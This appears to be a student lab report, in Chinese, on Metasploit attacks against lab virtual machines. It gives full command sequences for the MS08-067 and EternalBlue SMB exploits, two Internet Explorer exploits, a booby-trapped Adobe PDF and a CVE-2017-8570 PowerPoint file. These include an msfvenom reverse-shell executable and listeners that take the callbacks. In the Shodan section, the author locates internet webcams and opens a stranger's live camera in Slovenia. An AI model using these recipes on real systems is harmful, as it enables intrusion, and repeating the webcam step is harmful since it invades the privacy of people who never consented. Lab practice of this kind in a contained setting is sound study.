目录
实验目的
- 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路
实验内容
- 一个主动攻击实践
- ms08_067(成功)
- ms17_010永恒之蓝(成功)
- 一个针对浏览器的攻击
- 一个针对客户端的攻击
- adobe_cooltype_sing(成功)
- CVE-2017-8570(唯一)
- 成功应用任何一个辅助模块
- gather/shodan_search查找网络摄像头(唯一)
基础问题
- 用自己的话解释什么是
exploit
,payload
,encode
。
- exploit:利用漏洞,达到攻击控制受害机的一种手段
- payload:载荷,含有执行攻击的代码,来实现任何运行在受害者环境中的程序所能做的事情
- encode:对攻击代码进行伪装,使其能正常运行并尽量免杀
相关知识
关于MSF
- 主要模块:
渗透攻击模块(Exploit Modules)
、辅助模块(Auxiliary Modules)
、攻击载荷(Payload Modules)
、空字段模块(Nop Modules)
、编码模块(Encoders)
、后渗透攻击模块(Post)
- 查看模块源码的目录:
/usr/share/metasploit-framework/modules
- 进入某个模块可通过
info
查看其信息,观察其要设置的信息(带yes的为需要设置的,若有默认值则不用 设)、可以攻击的靶机(target)
- 查看模块源码的目录:
- 三个用户操作界面
- msfconsole:
msfconsole
- Armitage
- 启动:
service postgresql start armitage
- 在kali中就是下面的妹纸,也可点击图标启动
- 随后配置端口
- 使用:点击
connect
、yes
- 界面如下
- 启动:
- Web GUI
- msfconsole:
- 攻击方式
- 主动攻击
- 搜索漏洞:
search cve:2018 type:exploit platform:windows
(cve后为漏洞年份) - 也可以:
help search
查看命令格式
- 搜索漏洞:
- 攻击浏览器,获取系统控制权
use exploit/windows/browser/ie_setmousecapture_uaf info 设置参数 payload options exploit 上钩后 use auxiliray/server/browser_autopwn
- 攻击客户端应用,获取系统控制权
- 攻击Adobe Reader
use exploit/windows/fileformat/adobe_cooltype_sing info search type:exploit name:Excel platform:windows
- 攻击Adobe Reader
- 主动攻击
实验步骤
一个主动攻击实践
ms08_067
攻击方:kali
10.0.0.217
靶机:Win2kServer_SP0_target10.0.0.112
ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击者利用受害者主机默认开放的SMB服务端口445,发送恶意资料到这个端口,通过MSRPC接口调用server服务的一个函数,并破坏程序的栈缓存区,获得远程代码执行权限,从而完全控制主机。
- 我们首先可以使用Armitage根据网段搜索出靶机:
Hosts
-Nmap Scan
-Quick Scan(OS detect)
(可以自动探测目标主机的操作系统)
- 找到我们的靶机
- 对靶机右键选择
Services
,查看靶机上开启的服务,有如下服务:
- 对靶机右键选择
Scan
(Armitage会调用Metasploit的漏洞扫描模块,定向扫描靶机,寻找存在的漏洞,为下一步确定攻击方法提供参考依据)
- 菜单栏中点击
Attacks
-Find Attacks
,Armitage会自动寻找合适的攻击模块,结束会出现下图
- 此时我们先对靶机右键选择
Attack
-smb
-check exploits
检测哪些漏洞是存在的
- 这是可以选择
Attack
-smb
-ms08_067_netapi
自动攻击,设置端口为5330
,标记Use a reverse connection
,点击Launch
- 发现失败。。(注意这里自动攻击会有默认的payload)
- 下面我们进入
console
手动换一种payloaduse exploit/windows/smb/ms08_067_netapi //选择攻击模块 set payload generic/shell_reverse_tcp //选择攻击载荷 show options //查看配置信息 show targets //查看可攻击的平台 set RHOST 10.0.0.112 //设置靶机IP,端口默认为445 set LPORT 5330 //成功后回连主机端口5330 set LHOST 10.0.0.217 //设置攻方IP set target 1 //这里为win2k(可通过“show targets”查看可攻击的平台) exploit //发起渗透攻击
- 攻击成功!
- 对靶机右键选择
shell 1
-interact
,先输入run
在输入dir
查看目录信息
- 使用
msfconsole
效果如下
ms17_010永恒之蓝
攻击方:
kali 10.0.0.138
靶机:Windows7 x64 10.0.0.216
永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。(SMB服务的作用:该服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无。)
- 进入
msfconsole
通过search MS17_010 platform:windows
查看其可用模块,我们选择第一个exploit/windows/smb/ms17_010_eternalblue
- 输入以下命令
use exploit/windows/smb/ms17_010_eternalblue //选择攻击模块 show payloads //显示可用攻击载荷 set payload windows/x64/meterpreter/reverse_tcp //设置tcp反向连接 info //查看需要配置的信息及可攻击的target set RHOST 10.0.0.216 //设置靶机IP set LHOST 10.0.0.138 //kali IP set LPORT 5330 //设置攻击端口 set target 0 //设置win7靶机 exploit //发起渗透攻击
- 攻击成功
- 查看IP验证在继续后面的命令操作
一个针对浏览器的攻击
ms11_050
攻击方:
kali 10.0.0.138
靶机:Windows7 x64 10.0.0.216
浏览器:IE 8.0
- kali中输入
msfconsole
进入控制台,依次输入以下指令use windows/browser/ms11_050_mshtml_cobjectelement //选择攻击模块 set payload windows/meterpreter/reverse_http //设置http反向连接 set SRVHOST 10.0.0.138 //设置靶机要回连的IP地址 set LHOST 10.0.0.138 //kali IP set LPORT 5330 //设置攻击端口 set URIPATH 20165330zyx //统一资源标识符路径设置 exploit //发起渗透攻击
- 在浏览器输入
http://10.0.0.138:8080/20165330zyx
,IE出现警告弹窗,提示关闭程序
- 来看
msfconsole
这边,没啥反应
- 参考学姐博客,在IE中点击
工具
-Internet选项
,修改如下安全设置
- 在进到地址,这回提示
运行不正常的加载项或恶意加载项导致 Internet Explorer 关闭此网页
ms14_064
攻击方:
kali 10.0.0.138
靶机:WindowsXP 10.0.0.171
浏览器:IE 8.0
此安全更新可解决 Microsoft Windows 对象链接与嵌入 (OLE) 中 2 个私下报告的漏洞。最严重的漏洞可能在用户使用 Internet Explorer 查看经特殊设计的网页时允许远程执行代码。成功利用这些漏洞的攻击者可以在当前用户的上下文中运行任意代码。如果当前用户使用管理用户权限登录,则攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本。
- 进入
msfconsole
通过search ms14_064 platform:windows
查看可选攻击模块,这里选用exploit/windows/browser/ms14_064_ole_code_execution
- 执行以下命令
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块 show payloads //显示可用攻击载荷 set payload windows/meterpreter/reverse_tcp //设置tcp反向连接 info //查看详细信息(发现可攻击winXP和win7) set SRVHOST 10.0.0.138 //设置攻方IP set AllowPowerShellPrompt true //因为msf中自带的漏洞利用exp调用的是 powershell。 所以msf中的exp代码只对安装powershell的系统生效 set LHOST 10.0.0.138 set LPORT 5330 set target 0 //设置winXP靶机 exploit //发起渗透攻击
- 将生成的URL地址在winXP的IE中打开,发现成功建立了两个会话
- 此时可以用
ctrl+c
退出当前状态,通过输入sessions -i 1
获取第一个会话连接,并输入ipconfig
验证是否为靶机地址
一个针对客户端的攻击
Adobe
攻击方:
kali 10.0.0.138
靶机:WindowsXP 10.0.0.171
Adobe Reader:9.3.0
- kali输入
msfconsole
进入控制台,依次输入以下命令
此时生成use windows/fileformat/adobe_cooltype_sing //选择攻击模块 set payload windows/meterpreter/reverse_tcp //设置tcp反向连接 set LHOST 10.0.0.138 //kali IP set LPORT 5330 //设置攻击端口 set FILENAME 5330.pdf //设置生成的pdf文件名 exploit //发起攻击
5330.pdf
,我们进入保存目录cd /root/.msf4/local
,输入cp 5330.pdf /mnt/hgfs/vm
复制到共享文件夹中,在移到windowsXP虚拟机中
- 控制台中输入
back
退出当前模块,输入以下命令进入监听模块:use exploit/multi/handler //进入监听模块 set payload windows/meterpreter/reverse_tcp //设置tcp反向连接 set LHOST 10.0.0.138 //kali IP set LPORT 5330 //设置攻击端口 exploit //监听
- 靶机中打开pdf文件
- kali中发现回连成功,输入
ipconfig
确认是否会连正确
- 发现无误,就可以继续后续的命令操作了
CVE-2017-8570
攻击方:
kali 10.0.0.138
靶机:WindowsXP 10.0.0.216
Microsoft Office:2016 (64-bit edition)
- 2017年7月,微软在例行的月度补丁中修复了多个Microsoft Office漏洞,其中的CVE-2017-8570漏洞为一个逻辑漏洞,利用方法简单。网上已经出现该漏洞的利用代码,影响范围较广。
- 该漏洞为Microsoft Office的一个远程代码执行漏洞。其成因是Microsoft PowerPoint执行时会初始化Script”Moniker对象,而在PowerPoint播放动画期间会激活该对象,从而执行sct脚本(Windows Script Component)文件。攻击者可以欺骗用户运行含有该漏洞的PPT文件,导致获取和当前登录用户相同的代码执行权限。
-
解压文件后进入该目录,生成恶意PPSX文件:
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://10.0.0.138/logo.doc
(IP为攻方IP)
PS:用的时候会报错No such file or directory: 'template/template.ppsx'
,只要在里面创建文件夹template
,将template.ppsx
挪到template
里即可成功。 -
生成反弹shell的exe文件:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.138 LPORT=5330 -f exe > shell.exe
(因为我的win7为64位命令中需要加入x64,IP为攻方IP) -
监听来自ppsx执行反弹shell:
python cve-2017-8570_toolkit.py -M exp -e http://10.0.0.138/shell.exe -l shell.exe
-
进入
msfconsole
监听use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 10.0.0.138 set LPORT 5330 exploit
-
将生成的
Invoice.ppsx
传至安装有Microsoft Office 2016的win7上,并打开该文件
-
发现回连成功
成功应用任何一个辅助模块
- 在
msfconsole
中可通过命令show auxiliary
查看所有的辅助模块 - 这里我选用了
gather/shodan_search
,使用shodan来搜索网络摄像头 - 关于
shodan
- Shodan是互联网上最可怕的搜索引擎。
- 与谷歌不同的是,Shodan不是在网上搜索网址,而是直接进入互联网的背后通道。Shodan可以说是一款“黑暗”谷歌,一刻不停的在寻找着所有和互联网关联的服务器、摄像头、打印机、路由器等等。每个月Shodan都会在大约5亿个服务器上日夜不停地搜集信息。
- Shodan所搜集到的信息是极其惊人的。凡是链接到互联网的红绿灯、安全摄像头、家庭自动化设备以及加热系统等等都会被轻易的搜索到。其真正值得注意的能力就是能找到几乎所有和互联网相关联的东西。而Shodan真正的可怕之处就是这些设备几乎都没有安装安全防御措施,其可以随意进入
- 更详细的介绍可参考这里
- 下面我们开始按以下步骤运用
- 进入shodan_search模块:
use auxiliary/gather/shodan_search
- 查看需要设置的信息有哪些:
show options
发现我们需要设置APIKEY和QUERY,另外显示yes的两个都有默认值不用设置。 - 先去shodan官网注册账号,登陆查看账户API后设置APIKEY:
set SHODAN_APIKEY tPZf7UpklnPZ*********JFz567WYbt
- 设置查询网络摄像头的语句:
set QUERY "webcamXP"
- 执行:
run
- 进入shodan_search模块:
- 然后看到结果(下图为部分结果)
在结尾处会有[*] Auxiliary module execution completed
显示 - 现在我们随便选一个
IP:Port
,复制到浏览器中看看可不可以看到画面(选了一个Slovenia斯洛文尼亚共和国地方的。。。总觉得有点恐怖。。)
离实战还缺些什么技术或步骤?
- 目前我们对某个漏洞的攻击还是针对与网上搜索的资料和步骤,使用的也是很通用的攻击手段,但是攻击平台其实众多,我们的灵活性还不够高,并且攻击的对象大部分也比较单一,对更高系统的攻击的实现还是需要去开发的。
实验总结与体会
- 此次实验是开始实战的很渺小的一部分,却足以让我花费很多心力,从搜寻攻击模块到找到看得懂的payload,在寻找靶机,攻击步骤很明确,攻击过程却略显心酸,好在最后大部分还是都成功了,我对MSF的掌握也更深了一步,也使得我的实践能力更高了一层~
参考资料